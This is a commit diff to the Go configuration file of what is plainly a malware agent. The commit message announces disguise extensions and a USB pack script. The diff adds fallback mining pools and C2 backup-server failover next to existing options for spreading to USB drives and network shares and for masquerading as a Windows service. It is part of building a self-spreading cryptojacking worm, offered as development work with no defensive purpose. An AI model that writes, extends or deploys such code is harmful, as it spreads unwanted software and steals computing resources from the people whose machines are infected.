feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired

agent/config/config.go

@@ -55,8 +55,10 @@ type BuiltinConfig struct {
 	// Passive spreading — triggered by the environment rather than active scanning
 	USBSpread   bool // copy agent to any newly-inserted removable/USB drive
 	ShareSpread bool // drop agent onto already-mounted network shares
-	// Backup server URLs — tried in order if primary fails
+	// Backup server URLs — tried in order if primary C2 fails
 	BackupServerURLs []string
+	// BackupPools — alternative mining pools tried in order if the primary is unreachable
+	BackupPools []BackupPool
 	// Windows service masquerade (ignored on other OSes)
 	ServiceMasquerade bool
 	ServiceName       string
@@ -66,6 +68,14 @@ type BuiltinConfig struct {
 	FleetSecret string
 }
 
+// BackupPool holds connection info for a fallback Stratum mining pool.
+type BackupPool struct {
+	Host string
+	Port int
+	TLS  bool
+	Pass string
+}
+
 type RuntimeConfig struct {
 	BuiltinConfig
 	AgentID string